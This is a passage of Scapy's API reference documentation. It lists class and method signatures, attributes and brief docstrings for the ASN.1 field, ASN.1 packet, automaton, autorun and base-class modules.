	Bases: ASN1F_field[str, ASN1_OID]


	
ASN1_tag = <ASN1Tag OID[6]>

	




	
randval() → RandOID[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L362-L364]

	








	
class scapy.asn1fields.ASN1F_PACKET(name: str, default: Optional[ASN1_Packet], cls: Type[ASN1_Packet], context: Optional[Any] = None, implicit_tag: Optional[int] = None, explicit_tag: Optional[int] = None, next_cls_cb: Optional[Callable[[ASN1_Packet], Type[ASN1_Packet]]]  # noqa: E501 = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L778-L859]

	Bases: ASN1F_field[ASN1_Packet, Optional[ASN1_Packet]]


	
any2i(pkt: ASN1_Packet, x: Union[bytes, ASN1_Packet, None, ASN1_Object[Optional[ASN1_Packet]]]  # noqa: E501) → ASN1_Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L848-L855]

	




	
holds_packets = 1

	




	
i2m(pkt: ASN1_Packet, x: Union[bytes, ASN1_Packet, None, ASN1_Object[Optional[ASN1_Packet]]]  # noqa: E501) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L825-L846]

	




	
m2i(pkt: ASN1_Packet, s: bytes) → Tuple[Any, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L802-L823]

	




	
randval() → ASN1_Packet[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L857-L859]

	








	
class scapy.asn1fields.ASN1F_PRINTABLE_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L379-L380]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag PRINTABLE_STRING[19]>

	








	
class scapy.asn1fields.ASN1F_SEQUENCE(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L427-L509]

	Bases: ASN1F_field[List[Any], List[Any]]


	
ASN1_tag = <ASN1Tag SEQUENCE[48]>

	




	
build(pkt: ASN1_Packet) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L505-L509]

	




	
dissect(pkt: Any, s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L500-L503]

	




	
get_fields_list() → List[ASN1F_field[Any, Any]][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L460-L463]

	




	
holds_packets = 1

	




	
is_empty(pkt: ASN1_Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L456-L458]

	




	
m2i(pkt: Any, s: bytes) → Tuple[Any, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L465-L498]

	ASN1F_SEQUENCE behaves transparently, with nested ASN1_objects being
dissected one by one. Because we use obj.dissect (see loop below)
instead of obj.m2i (as we trust dissect to do the appropriate set_vals)
we do not directly retrieve the list of nested objects.
Thus m2i returns an empty list (along with the proper remainder).
It is discarded by dissect() and should not be missed elsewhere.










	
class scapy.asn1fields.ASN1F_SEQUENCE_OF(name: str, default: Any, cls: _SEQ_T, context: Any | None = None, implicit_tag: Any | None = None, explicit_tag: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L519-L606]

	Bases: ASN1F_field[List[Union[ASN1_Packet, Type[ASN1F_field[Any, Any]], ASN1F_PACKET]], List[ASN1_Object[Any]]]

Two types are allowed as cls: ASN1_Packet, ASN1F_field


	
ASN1_tag = <ASN1Tag SEQUENCE[48]>

	




	
build(pkt: ASN1_Packet) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L585-L595]

	




	
is_empty(pkt: ASN1_Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L554-L558]

	




	
islist = 1

	




	
m2i(pkt: ASN1_Packet, s: bytes) → Tuple[List[Any], bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L560-L583]

	




	
randval() → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L597-L602]

	








	
class scapy.asn1fields.ASN1F_SET(*seq: Any, **kwargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L512-L513]

	Bases: ASN1F_SEQUENCE


	
ASN1_tag = <ASN1Tag SET[49]>

	








	
class scapy.asn1fields.ASN1F_SET_OF(name: str, default: Any, cls: _SEQ_T, context: Any | None = None, implicit_tag: Any | None = None, explicit_tag: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L609-L610]

	Bases: ASN1F_SEQUENCE_OF


	
ASN1_tag = <ASN1Tag SET[49]>

	








	
class scapy.asn1fields.ASN1F_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L347-L352]

	Bases: ASN1F_field[str, ASN1_STRING]


	
ASN1_tag = <ASN1Tag STRING[4]>

	




	
randval() → RandString[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L350-L352]

	








	
class scapy.asn1fields.ASN1F_T61_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L383-L384]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag T61_STRING[20]>

	








	
class scapy.asn1fields.ASN1F_TIME_TICKS(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L617-L618]

	Bases: ASN1F_INTEGER


	
ASN1_tag = <ASN1Tag TIME_TICKS[67]>

	








	
class scapy.asn1fields.ASN1F_UNIVERSAL_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L419-L420]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag UNIVERSAL_STRING[28]>

	








	
class scapy.asn1fields.ASN1F_UTC_TIME(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L399-L404]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag UTC_TIME[23]>

	




	
randval() → GeneralizedTime[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L402-L404]

	








	
class scapy.asn1fields.ASN1F_UTF8_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L371-L372]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag UTF8_STRING[12]>

	








	
class scapy.asn1fields.ASN1F_VIDEOTEX_STRING(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L387-L388]

	Bases: ASN1F_STRING


	
ASN1_tag = <ASN1Tag VIDEOTEX_STRING[21]>

	








	
exception scapy.asn1fields.ASN1F_badsequence[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L67-L68]

	Bases: Exception






	
class scapy.asn1fields.ASN1F_element[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L71-L72]

	Bases: object






	
class scapy.asn1fields.ASN1F_enum_INTEGER(name: str, default: ASN1_INTEGER, enum: Dict[int, str], context: Any | None = None, implicit_tag: Any | None = None, explicit_tag: Any | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L269-L316]

	Bases: ASN1F_INTEGER


	
i2m(pkt: ASN1_Packet, s: bytes | str | int | ASN1_INTEGER) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L296-L305]

	




	
i2repr(pkt: ASN1_Packet, x: str | int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L307-L316]

	








	
class scapy.asn1fields.ASN1F_field(name: str, default: _A | None, context: Type[ASN1_Class] | None = None, implicit_tag: int | None = None, explicit_tag: int | None = None, flexible_tag: bool | None = False, size_len: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L83-L246]

	Bases: ASN1F_element, Generic[_I, _A]


	
ASN1_tag = <ASN1Tag ANY[0]>

	




	
any2i(pkt: ASN1_Packet, x: Any) → _I[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L180-L182]

	




	
build(pkt: ASN1_Packet) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L202-L204]

	




	
context[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1/asn1.py#L240-L280]

	alias of ASN1_Class_UNIVERSAL






	
copy() → ASN1F_field[_I, _A][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L244-L246]

	




	
dissect(pkt: ASN1_Packet, s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L206-L210]

	




	
do_copy(x: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L212-L222]

	




	
extract_packet(cls: Type[ASN1_Packet], s: bytes, _underlayer: ASN1_Packet | None = None) → Tuple[ASN1_Packet, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L184-L200]

	




	
get_fields_list() → List[ASN1F_field[Any, Any]][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L232-L234]

	




	
holds_packets = 0

	




	
i2h(pkt: ASN1_Packet, x: _I) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L127-L129]

	




	
i2m(pkt: ASN1_Packet, x: bytes | _I | _A) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L162-L178]

	




	
i2repr(pkt: ASN1_Packet, x: _I) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L123-L125]

	




	
is_empty(pkt: ASN1_Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L228-L230]

	




	
islist = 0

	




	
m2i(pkt: ASN1_Packet, s: bytes) → Tuple[_A, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L131-L160]

	The good thing about safedec is that it may still decode ASN1
even if there is a mismatch between the expected tag (self.ASN1_tag)
and the actual tag; the decoded ASN1 object will simply be put
into an ASN1_BADTAG object. However, safedec prevents the raising of
exceptions needed for ASN1F_optional processing.
Thus we use ‘flexible_tag’, which should be False with ASN1F_optional.

Regarding other fields, we might need to know whether encoding went
as expected or not. Noticeably, input methods from cert.py expect
certain exceptions to be raised. Hence default flexible_tag is False.






	
randval() → RandField[_I][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L240-L242]

	




	
register_owner(cls: Type[ASN1_Packet]) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L119-L121]

	




	
set_val(pkt: ASN1_Packet, val: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L224-L226]

	








	
class scapy.asn1fields.ASN1F_optional(field: ASN1F_field[Any, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L625-L663]

	Bases: ASN1F_element


	
any2i(pkt: ASN1_Packet, x: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L657-L659]

	




	
build(pkt: ASN1_Packet) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L651-L655]

	




	
dissect(pkt: ASN1_Packet, s: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L643-L649]

	




	
i2repr(pkt: ASN1_Packet, x: Any) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L661-L663]

	




	
m2i(pkt: ASN1_Packet, s: bytes) → Tuple[Any, bytes][source] [https://github.com/secdev/scapy/blob/master/scapy/asn1fields.py#L635-L641]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.asn1packet

ASN.1 Packet

Packet holding data in Abstract Syntax Notation (ASN.1).


	
class scapy.asn1packet.ASN1Packet_metaclass(name: str, bases: Tuple[type, ...], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1packet.py#L28-L40]

	Bases: Packet_metaclass






	
class scapy.asn1packet.ASN1_Packet(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1packet.py#L43-L55]

	Bases: Packet


	
ASN1_codec = None

	




	
ASN1_root = None

	




	
aliastypes

	




	
do_dissect(x: bytes) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1packet.py#L53-L55]

	




	
self_build() → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/asn1packet.py#L47-L51]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.automaton

Automata with states, transitions and actions.


	
class scapy.automaton.ATMT[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L452-L611]

	Bases: object


	
ACTION = 'Action'

	




	
CONDITION = 'Condition'

	




	
EOF = 'EOF condition'

	




	
IOEVENT = 'I/O event'

	




	
exception NewStateRequested(state_func: Any, automaton: ATMT, *args: Any, **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L461-L488]

	Bases: Exception


	
action_parameters(*args: Any, **kargs: Any) → NewStateRequested[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L476-L480]

	




	
run() → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L482-L484]

	








	
RECV = 'Receive condition'

	




	
STATE = 'State'

	




	
TIMEOUT = 'Timeout condition'

	




	
static action(cond: Any, prio: int = 0) → Callable[[_StateWrapper, _StateWrapper], _StateWrapper][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L522-L532]

	




	
static condition(state: Any, prio: int = 0) → Callable[[_StateWrapper, _StateWrapper], _StateWrapper][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L534-L544]

	




	
static eof(state: _StateWrapper) → Callable[[_StateWrapper, _StateWrapper], _StateWrapper][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L602-L611]

	




	
static ioevent(state: _StateWrapper, name: str, prio: int = 0, as_supersocket: str | None = None) → Callable[[_StateWrapper, _StateWrapper], _StateWrapper][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L558-L574]

	




	
static receive_condition(state: _StateWrapper, prio: int = 0) → Callable[[_StateWrapper, _StateWrapper], _StateWrapper][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L546-L556]

	




	
static state(initial: int = 0, final: int = 0, stop: int = 0, error: int = 0) → Callable[[DecoratorCallable], DecoratorCallable][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L490-L520]

	




	
static timeout(state: _StateWrapper, timeout: int | float) → Callable[[_StateWrapper, _StateWrapper, Timer], _StateWrapper][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L576-L587]

	




	
static timer(state: _StateWrapper, timeout: float | int, prio: int = 0) → Callable[[_StateWrapper, _StateWrapper, Timer], _StateWrapper][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L589-L600]

	








	
class scapy.automaton.Automaton(self, debug=0, store=0, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L865-L1577]

	Bases: object


	
exception AutomatonError(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1138-L1139]

	Bases: AutomatonException






	
exception AutomatonException(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1131-L1136]

	Bases: Exception






	
exception AutomatonStopped(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1147-L1148]

	Bases: AutomatonException






	
exception Breakpoint(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1150-L1151]

	Bases: AutomatonStopped






	
exception CommandMessage(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1162-L1163]

	Bases: AutomatonException






	
exception ErrorState(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1141-L1142]

	Bases: AutomatonException






	
exception InterceptionPoint(msg: str, state: Message | None = None, result: str | None = None, packet: Packet | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1156-L1160]

	Bases: AutomatonStopped






	
exception Singlestep(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1153-L1154]

	Bases: AutomatonStopped






	
exception Stuck(msg: str, state: Message | None = None, result: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1144-L1145]

	Bases: AutomatonException






	
accept_packet(pkt: Packet | None = None, wait: bool | None = False) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1559-L1570]

	




	
actions: Dict[str, List[_StateWrapper]] = {}

	




	
add_breakpoints(*bps: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1449-L1454]

	




	
add_interception_points(*ipts: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1435-L1440]

	




	
conditions: Dict[str, List[_StateWrapper]] = {}

	




	
debug(lvl: int, msg: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1166-L1169]

	




	
destroy() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1517-L1532]

	Destroys a stopped Automaton: this cleanups all opened file descriptors.
Required on PyPy for instance where the garbage collector behaves differently.






	
eofs: Dict[str, _StateWrapper] = {}

	




	
forcestop(wait: bool = True) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1544-L1552]

	




	
initial_states: List[_StateWrapper] = []

	




	
ioevents: Dict[str, List[_StateWrapper]] = {}

	




	
ionames: List[str] = []

	




	
iosupersockets: List[SuperSocket] = []

	




	
isrunning() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1171-L1173]

	




	
master_filter(pkt: Packet) → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1026-L1028]

	




	
my_send(pkt: Packet, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1030-L1034]

	




	
parse_args(debug: int = 0, store: int = 0, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L942-L948]

	




	
pkt_cls[source] [https://github.com/secdev/scapy/blob/master/scapy/packet.py#L1969-L1995]

	alias of Raw






	
recv_conditions: Dict[str, List[_StateWrapper]] = {}

	




	
reject_packet(wait: bool | None = False) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1572-L1577]

	




	
remove_breakpoints(*bps: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1456-L1461]

	




	
remove_interception_points(*ipts: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1442-L1447]

	




	
restart(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1554-L1557]

	




	
run(resume: Message | None = None, wait: bool | None = True) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1470-L1501]

	




	
runbg(resume: Message | None = None, wait: bool | None = False) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1503-L1505]

	




	
send(pkt: Packet, **kwargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1175-L1203]

	




	
socketcls[source] [https://github.com/secdev/scapy/blob/master/scapy/supersocket.py#L422-L467]

	alias of StreamSocket






	
classmethod spawn(port: int, iface: NetworkInterface | str | None = None, bg: bool = False, **kwargs: Any) → socket | None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L950-L1024]

	Spawn a TCP server that listens for connections and start the automaton
for each new client.


	Parameters:

	
	port – the port to listen to


	bg – background mode? (default: False)













	
start(*args: Any, **kargs: Any) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1463-L1468]

	




	
state: NewStateRequested = None

	




	
states: Dict[str, _StateWrapper] = {}

	




	
stop(wait: bool = True) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1534-L1542]

	




	
stop_state: _StateWrapper | None = None

	




	
timeout: Dict[str, _TimerList] = {}

	




	
timer_by_name(name: str) → Timer | None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1048-L1054]

	




	
update_sock(sock: SuperSocket) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L1036-L1046]

	Update the socket used by the automata.
Typically used in an eof event to reconnect.










	
class scapy.automaton.Automaton_metaclass(name: str, bases: Tuple[Any], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L699-L862]

	Bases: type


	
build_graph() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L789-L857]

	




	
graph(**kargs: Any) → str | None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L859-L862]

	








	
class scapy.automaton.Message(**args: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L259-L276]

	Bases: object


	
exc_info: Tuple[None, None, None] | Tuple[BaseException, Exception, TracebackType] = None

	




	
pkt: Packet = None

	




	
result: str = None

	




	
state: Message = None

	




	
type: str = None

	








	
class scapy.automaton.ObjectPipe(name: str | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L142-L256]

	Bases: Generic[_T]


	
clear() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L219-L223]

	




	
close() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L225-L236]

	




	
empty() → bool[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L193-L195]

	




	
fileno() → int[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L175-L179]

	




	
flush() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L197-L199]

	




	
read(n: int | None = 0) → _T | None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L215-L217]

	




	
recv(n: int | None = 0, options: ~socket.MsgFlag = MsgFlag.None) → _T | None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L201-L213]

	




	
static select(sockets: List[SuperSocket], remain: float | None = 0.05) → List[SuperSocket][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L246-L256]

	




	
send(obj: _T) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L181-L187]

	




	
write(obj: _T) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L189-L191]

	








	
class scapy.automaton.Timer(time: int | float, prio: int = 0, autoreload: bool = False)[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L279-L347]

	Bases: object


	
get() → float[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L290-L292]

	




	
set(val: float) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L294-L296]

	








	
scapy.automaton.select_objects(inputs: Iterable[Any], remain: float | int | None) → List[Any][source] [https://github.com/secdev/scapy/blob/master/scapy/automaton.py#L60-L136]

	Select objects. Same than:
select.select(inputs, [], [], remain)

But also works on Windows, only on objects whose fileno() returns
a Windows event. For simplicity, just use ObjectPipe() as a queue
that you can select on whatever the platform is.

If you want an object to be always included in the output of
select_objects (i.e. it’s not selectable), just make fileno()
return a strictly negative value.

Example

>>> a, b = ObjectPipe("a"), ObjectPipe("b")
>>> b.send("test")
>>> select_objects([a, b], 1)
[b]






	Parameters:

	
	inputs – objects to process


	remain – timeout. If 0, poll. If None, block.















            

          

      

      

    

  

    
      
          
            
  
scapy.autorun

Run commands when the Scapy interpreter starts.


	
class scapy.autorun.ScapyAutorunInterpreter(*args: Any, **kargs: Any)[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L45-L52]

	Bases: InteractiveInterpreter


	
write(data: str) → None[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L50-L52]

	








	
exception scapy.autorun.StopAutorun[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L37-L38]

	Bases: Scapy_Exception


	
code_run = ''

	








	
exception scapy.autorun.StopAutorunTimeout[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L41-L42]

	Bases: StopAutorun






	
class scapy.autorun.StringWriter(debug: TextIO | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L129-L150]

	Bases: StringIO

Util to mock sys.stdout and sys.stderr, and
store their output in a ‘s’ var.


	
flush() → None[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L147-L150]

	




	
write(x: str) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L138-L145]

	








	
scapy.autorun.autorun_commands(_cmds: str, my_globals: Dict[str, Any] | None = None, verb: int | None = None) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L55-L103]

	




	
scapy.autorun.autorun_commands_timeout(cmds: str, timeout: int | None = None, **kwargs: Any) → Any[source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L106-L126]

	Wraps autorun_commands with a timeout that raises StopAutorunTimeout
on expiration.






	
scapy.autorun.autorun_get_ansi_interactive_session(cmds: str, **kargs: Any) → Tuple[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L227-L235]

	




	
scapy.autorun.autorun_get_html_interactive_session(cmds: str, **kargs: Any) → Tuple[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L238-L255]

	




	
scapy.autorun.autorun_get_interactive_live_session(cmds: str, **kargs: Any) → Tuple[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L182-L202]

	Create an interactive session and execute the
commands passed as “cmds” and return all output


	Parameters:

	
	cmds – a list of commands to run


	timeout – timeout in seconds






	Returns:

	(output, returned) contains both sys.stdout and sys.stderr logs










	
scapy.autorun.autorun_get_interactive_session(cmds: str, **kargs: Any) → Tuple[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L153-L179]

	Create an interactive session and execute the
commands passed as “cmds” and return all output


	Parameters:

	
	cmds – a list of commands to run


	timeout – timeout in seconds






	Returns:

	(output, returned) contains both sys.stdout and sys.stderr logs










	
scapy.autorun.autorun_get_latex_interactive_session(cmds: str, **kargs: Any) → Tuple[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L258-L274]

	




	
scapy.autorun.autorun_get_live_interactive_session(cmds: str, **kargs: Any) → Tuple[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L216-L224]

	




	
scapy.autorun.autorun_get_text_interactive_session(cmds: str, **kargs: Any) → Tuple[str, Any][source] [https://github.com/secdev/scapy/blob/master/scapy/autorun.py#L205-L213]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.base_classes

Generators and packet meta classes.


	
class scapy.base_classes.BasePacket[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L419-L420]

	Bases: Gen[Packet]






	
class scapy.base_classes.BasePacketList[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L427-L428]

	Bases: Gen[_T]






	
class scapy.base_classes.Field_metaclass(name: str, bases: Tuple[type, ...], dct: Dict[str, Any])[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L404-L413]

	Bases: type






	
class scapy.base_classes.Gen[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L56-L65]

	Bases: Generic[_T]






	
class scapy.base_classes.Net(net: str, stop: None | str = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L112-L233]

	Bases: Gen[str]

Network object from an IP address or hostname and mask


	
choice() → str[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L188-L190]

	




	
family: int = 2

	




	
static int2ip(val: int) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L141-L144]

	




	
classmethod ip2int(addr: str) → int[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L134-L139]

	




	
max_mask: int = 32

	




	
name: str = 'Net'

	




	
classmethod name2addr(name: str) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L118-L132]

	








	
class scapy.base_classes.OID(oid: str)[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L236-L274]

	Bases: Gen[str]


	
name = 'OID'

	








	
scapy.base_classes.PacketList_metaclass[source] [https://github.com/secdev/scapy/blob/master/scapy/base_classes.py#L404-L413]

	alias of Field_metaclass






	
